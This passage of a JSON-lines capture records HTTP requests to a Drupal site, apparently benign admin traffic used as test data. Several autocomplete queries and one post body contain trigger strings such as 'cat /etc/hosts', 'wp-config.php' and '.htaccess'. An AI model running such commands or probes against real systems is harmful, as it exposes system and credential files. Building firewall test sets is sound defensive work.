name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img src=\"/sites/default/files/inline-images/photo.png\" data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" width=\"1\" height=\"1\"> Edited with SELECT rows FROM table.</p>\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3 (1), powershell (2), docker-compose.yml (3)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundaryfBvrh6e5Bo80VnMG--\r\n"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/medium/public/2026-11/python3-diagram.png.avif?itok=ytQ2uihe", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/comment/reply/node/1/comment", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/1", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-rUcrz45wKTlwScU2KPvW4Uh-elT8_0ep1yDKub-fR9o&form_token=cLurkaLTS5RG_R8Vt9iKrHp5kETeTXRUPCXJRxJLz48&form_id=comment_comment_form&subject%5B0%5D%5Bvalue%5D=Python3+question&comment_body%5B0%5D%5Bvalue%5D=%3Cp%3EDoes+ls+-la+work+under+powershell%3F%3C%2Fp%3E&comment_body%5B0%5D%5Bformat%5D=basic_html&op=Save"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=comment%3Acomment%3D1%3Achanged%3D1794214675%26langcode%3Den&tokens%5B%5D=fF-4OT40LdhhlYhHgviv64T0nVqkE5MGiUWVIAcU8lo"}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/user/default/SIVyLDB1JOFz6YeZ_a7tOUbBYsPkGYqCWDMCbv80Fl8?q=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-vhMpEh9d_WRMwXQqxQWWiugdMAZ9cRfVnudOBsxwQNo&form_token=CXyUg6iH9UxK0n9bFsPllZanXhtbFSoc6km1jtSxrh4&form_id=user_logout_confirm&op=Log+out"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
|
||||
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=node_search&op=Add+search+page&form_build_id=form-h9TNUOku6qlPzCQIfLOM6VobwiD7LjgYKi4l8e6-n8I&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
|
||||
{"method": "GET", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/node_search", "Cookie: SESSexample=example-session-value"], "body": "label=ContentContent&id=content&path=node&form_build_id=form-WUJFS4YPNPKnEeJoXCUT_dOzqiNC1753LO8pTBEuVRw&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
|
||||
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=user_search&op=Add+search+page&entities%5Bcontent%5D%5Bweight%5D=-10&form_build_id=form-zkfBqVKODA5_wbOFsX_3NFPhSC_gnINh2M7rHYmFSwQ&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
|
||||
{"method": "GET", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/user_search", "Cookie: SESSexample=example-session-value"], "body": "label=UsersUsers&id=users&path=user&form_build_id=form-qdd4t_ZEijkL16Cm3Mjpt4ADl-oOomMwZAbvMbuCL84&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
|
||||
{"method": "GET", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/people/accounts", "Cookie: SESSexample=example-session-value"], "body": "anonymous=Anonymous&user_register=visitors&user_email_verification=1&user_password_strength=1&user_cancel_method=user_cancel_block&mail_notification_address=&user_mail_register_admin_created_subject=An+administrator+created+an+account+for+you+at+%5Bsite%3Aname%5D&user_mail_register_admin_created_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AA+site+administrator+at+%5Bsite%3Aname%5D+has+created+an+account+for+you.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_register_pending_approval_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&user_mail_register_pending_approval_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+Your+application+for+an+account+is+currently+pending+approval.+Once+it+has+been+approved%2C+you+will+receive+another+email+containing+information+about+how+to+log+in%2C+set+your+password%2C+and+other+details.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team®ister_pending_approval_admin_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29®ister_pending_approval_admin_body=%5Buser%3Adisplay-name%5D+has+applied+for+an+account.%0D%0A%0D%0A%5Buser%3Aedit-url%5D&user_mail_register_no_approval_required_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_register_no_approval_required_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_activated_notify=1&user_mail_status_activated_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28approved%29&user_mail_status_activated_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+at+%5Bsite%3Aname%5D+has+been+activated.%0D%0A%0D%0AYou+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aaccount-name%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_blocked_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28blocked%29&user_mail_status_blocked_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+blocked.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_cancel_confirm_subject=Account+cancellation+request+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_cancel_confirm_body=%5Buser%3Adisplay-name%5D%0D%0A%0D%0AA+request+to+cancel+your+account+has+been+made+at+%5Bsite%3Aname%5D.%0D%0A%0D%0AYou+may+now+cancel+your+account+on+%5Bsite%3Aurl-brief%5D+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Acancel-url%5D%0D%0A%0D%0ANOTE%3A+The+cancellation+of+your+account+is+not+reversible.%0D%0A%0D%0AThis+link+expires+in+one+day+and+nothing+will+happen+if+it+is+not+used.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_canceled_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28canceled%29&user_mail_status_canceled_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+canceled.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_password_reset_subject=Replacement+login+informaLine truncated
|
||||
{"method": "GET", "target": "/media/add/image", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/reports/access-denied", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
